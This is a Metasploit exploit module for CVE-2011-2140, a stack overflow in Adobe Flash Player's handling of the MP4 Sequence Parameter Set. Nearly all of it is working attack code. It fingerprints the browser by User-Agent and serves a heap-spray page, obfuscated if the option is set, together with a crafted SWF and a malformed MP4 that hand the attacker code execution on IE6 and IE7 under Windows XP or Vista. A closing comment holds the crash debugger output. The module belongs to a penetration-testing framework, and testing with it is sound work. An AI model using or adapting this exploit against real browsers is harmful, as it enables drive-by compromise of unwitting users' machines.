##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in Adobe Flash Player's Flash10u.ocx
        component.  When processing a MP4 file (specifically the Sequence Parameter Set),
        Flash will see if pic_order_cnt_type is equal to 1, which sets the
        num_ref_frames_in_pic_order_cnt_cycle field, and then blindly copies data in
        offset_for_ref_frame on the stack, which allows arbitrary remote code execution
        under the context of the user.  Numerous reports also indicate that this
        vulnerability has been exploited in the wild.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Alexander Gavrun', # RCA
          'Unknown',          # Abysssec, proof of concept
          'sinn3r'            # Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2011-2140' ],
          [ 'OSVDB', '74439'],
          [ 'BID', '49083' ],
          [ 'ZDI', '11-276' ],
          [ 'URL', 'http://www.kahusecurity.com/2011/cve-2011-2140-caught-in-the-wild/' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-21.html' ],
          [ 'URL', 'http://0x1byte.blogspot.com/2011/11/analysis-of-cve-2011-2140-adobe-flash.html' ]
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00",
          'StackAdjustment' => -3500
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC'         => "seh",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 6 on Windows XP SP3',         { 'Offset' => '0x600' } ], #0x5f4 = spot on
          [ 'IE 7 on Windows XP SP3 / Vista', { 'Offset' => '0x600' } ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Aug 9 2011",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
        ])
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]
    elsif agent =~ /MSIE 7/
      return targets[2]
    else
      return nil
    end
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    # The SWF requests our MP4 trigger
    if request.uri =~ /\.mp4$/
      print_status("Sending MP4")
      send_response(cli, @mp4, {'Content-Type'=>'video/mp4'})
      return
    end

    # The SWF request itself
    if request.uri =~ /\.swf$/
      print_status("Sending SWF")
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
      return
    end

    # Redirect to a trailing slash so relative paths work properly
    if get_resource != "/" and not request.uri.index("#{get_resource}/")
      uri = get_resource + "/"
      send_redirect(cli, uri)
      return
    end

    # Set payload depending on target
    p = payload.encoded

    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

    js = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var nops = unescape("#{js_nops}");

    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{my_target['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x7ffc0-6)/2);

    heap_obj.gc();

    for (var i=1; i < 0x300; i++) {
      heap_obj.alloc(block);
    }
    JS

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate
    end

    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
    mp4_uri = "http://#{myhost}:#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.mp4"
    swf_uri = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf" + "?autostart=true&image=video.jpg&file=#{mp4_uri}"

    html = %Q|
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
    <param name="movie" value="#{swf_uri}">
    </object>
    </body>
    </html>
    |

    html = html.gsub(/^ {4}/, '')

    print_status("Sending HTML")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

  def exploit
    @mp4 = create_mp4
    @swf = create_swf
    super
  end

  def create_swf
    path = ::File.join( Msf::Config.data_directory, "exploits", "mp4player.swf" )
    fd = ::File.open( path, "rb" )
    swf = fd.read(fd.stat.size)
    fd.close
    return swf
  end

  def create_mp4
    ftypAtom = "\x00\x00\x00\x20"                   #Size
    ftypAtom << "ftypisom"
    ftypAtom << "\x00\x00\x02\x00"
    ftypAtom << "isomiso2avc1mp41"

    mdatAtom = "\x00\x00\x00\x10"                   #Size
    mdatAtom << "mdat"
    mdatAtom << "\x00\x00\x02\x8B\x06\x05\xFF\xFF"

    moovAtom1 = "\x00\x00\x08\x83"                  #Size
    moovAtom1 << "moov"                             #Move header box header
    moovAtom1 << "\x00\x00\x00"
    moovAtom1 << "lmvhd"                            # Type
    moovAtom1 << "\x00\x00\x00\x00"                 # Version/Flags
    moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time
    moovAtom1 << "\x00\x00\x03\xE8"                 # Time scale
    moovAtom1 << "\x00\x00\x2F\x80"                 # Duration
    moovAtom1 << "\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    moovAtom1 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
    moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x02\xFA"
    moovAtom1 << "trak"                             # Track box header
    moovAtom1 << "\x00\x00\x00\x5C"
    moovAtom1 << "tkhd"
    moovAtom1 << "\x00\x00\x00\x0F"
    moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80"  # Creation time
    moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x2E\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    moovAtom1 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    moovAtom1 << "\x00\x00\x00\x00\x40\x00\x00\x00\x01\x42\x00\x00\x01\x42\x00\x00\x00\x00\x02"
    moovAtom1 << "rmdia"
    moovAtom1 << "\x00\x00\x00\x20"                  # Size
    moovAtom1 << "mdhd"                              # Media header box
    moovAtom1 << "\x00\x00\x00\x00"                  # Version/Flags
    moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80"  # Creation time
    moovAtom1 << "\x00\x00\x00\x01"                  # Time scale
    moovAtom1 << "\x00\x00\x00\x0C"                  # Duration
    moovAtom1 << "\x55\xC4\x00\x00"
    moovAtom1 << "\x00\x00\x00\x2D"                  # Size
    moovAtom1 << "hdlr"                              # Handler Reference header
    moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00"
    moovAtom1 << "vide"                              # Handler type
    moovAtom1 << "\x00\x00\x00\x00\x00"
    moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00"
    moovAtom1 << "VideoHandler"                      # Handler name
    moovAtom1 << "\x00\x00\x00\x02\x1D"
    moovAtom1 << "minf"
    moovAtom1 << "\x00\x00\x00\x14"
    moovAtom1 << "vmhd"
    moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24"
    moovAtom1 << "dinf"                              # Data information box header
    moovAtom1 << "\x00\x00\x00\x1c"
    moovAtom1 << "dref"                              # Data reference box
    moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"
    moovAtom1 << "\x00\x00\x00\x0C"                  # Size
    moovAtom1 << "url "                              # Data entry URL box
    moovAtom1 << "\x00\x00\x00\x01"                  # Location / version / flags
    moovAtom1 << "\x00\x00\x09\xDD"                  # Size
    moovAtom1 << "stbl"
    moovAtom1 << "\x00\x00\x08\x99"
    moovAtom1 << "stsd"
    moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"
    moovAtom1 << "\x00\x00\x08\x89"                  # Size
    moovAtom1 << "avc1"
    moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    moovAtom1 << "\x01\x42"                          # Width
    moovAtom1 << "\x01\x42"                          # Height
    moovAtom1 << "\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    moovAtom1 << "\x18"                              # Depth
    moovAtom1 << "\xFF\xFF"
    moovAtom1 << "\x00\x00\x08\x33"                  # Size
    moovAtom1 << "avcC"
    moovAtom1 << "\x01"                              # Config version
    moovAtom1 << "\x64"                              # Avc profile indication
    moovAtom1 << "\x00"                              # Compatibility
    moovAtom1 << "\x15"                              # Avc level indication
    moovAtom1 << "\xFF\xE1"

    # Although the fields have different values, they all become 0x0c0c0c0c
    # in memory.
    cycle =  "\x00\x00\x00"
    cycle << "\x30\x30\x30\x30"  #6th
    cycle << "\x00\x00\x00"
    cycle << "\x18\x18\x18\x18"  #7th
    cycle << "\x00\x00\x00"
    cycle << "\x0c\x0c\x0c\x0c"  #8th
    cycle << "\x00\x00\x00"
    cycle << "\x06\x06\x06\x06"  #1st
    cycle << "\x00\x00\x00"
    cycle << "\x03\x03\x03\x03"
    cycle << "\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00"
    cycle << "\xc0\xc0\xc0\xc0"  # 4th
    cycle << "\x00\x00\x00"
    cycle << "\x60\x60\x60\x60"

    spsunit =  "\x08\x1A\x67\x70\x34\x32\x74\x70\x00\x00\xAF\x88\x88\x84\x00\x00\x03\x00\x04\x00\x00\x03\x00\x3F\xFF\xFF\xFF\xFF\xFF"
    spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
    spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFC"
    spsunit << cycle * 35
    spsunit << "\x00\x00\x00\x30\x30\x03\x03\x03\x03\x00\x00\x00\xB2\x2C"

    moovAtom2 = "\x00\x00\x00\x18"
    moovAtom2 << "stts"
    moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x00\x00\x00\x01"
    moovAtom2 << "\x00\x00\x00\x14"
    moovAtom2 << "stss"
    moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
    moovAtom2 << "pctts"
    moovAtom2 << "\x00\x00\x00\x00\x00\x00"
    moovAtom2 << "\x00\x0C\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
    moovAtom2 << "\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x02"
    moovAtom2 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00"
    moovAtom2 << "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02"
    moovAtom2 << "\x00\x00\x00\x1C"
    moovAtom2 << "stsc"
    moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01"
    moovAtom2 << "\x00\x00\x00\x44"
    moovAtom2 << "stsz"
    moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    moovAtom2 << "\x0C\x00\x00\x2F\x8D\x00\x00\x0C\xFE\x00\x00\x04\x42\x00\x00\x0B\x20\x00\x00\x04\x58\x00\x00\x07\x19\x00\x00\x07"
    moovAtom2 << "\x63\x00\x00\x02\xD6\x00\x00\x03\xC1\x00\x00\x0A\xDF\x00\x00\x04\x9B\x00\x00\x09\x39"
    moovAtom2 << "\x00\x00\x00\x40"
    moovAtom2 << "stco"
    moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x0C\x00\x00\x00\x30\x00\x00\x2F\xBD\x00\x00\x3D\x8A\x00\x00\x48\x19\x00\x00\x5A\xF4"
    moovAtom2 << "\x00\x00\x66\x1F\x00\x00\x73\xEA\x00\x00\x82\x32\x00\x00\x8A\xFA\x00\x00\x95\x51\x00\x00\xA7\x16\x00\x00\xB1\xE5"

    moovAtom = moovAtom1 + spsunit + moovAtom2
    m = ftypAtom + mdatAtom + moovAtom
    return m
  end
end

=begin
C:\WINDOWS\system32\Macromed\Flash\Flash10u.ocx

Flash10u+0x5b4e8:
Missing image name, possible paged-out or corrupt data.
1f06b4e8 8901            mov     dword ptr [ecx],eax  ds:0023:020c0000=00905a4d
0:008> !exchain
020bfdfc: <Unloaded_ud.drv>+c0c0c0b (0c0c0c0c)

ECX points to 0x0c0c0c0c at the time of the crash:
0:008> r
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
eip=0c0c0c0c esp=020befa8 ebp=020befc8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050246
<Unloaded_ud.drv>+0xc0c0c0b:
0c0c0c0c ??              ???

Example of SWF player URI:
http://www.jeroenwijering.com/embed/mediaplayer.swf

To-do:
IE 8 target
=end
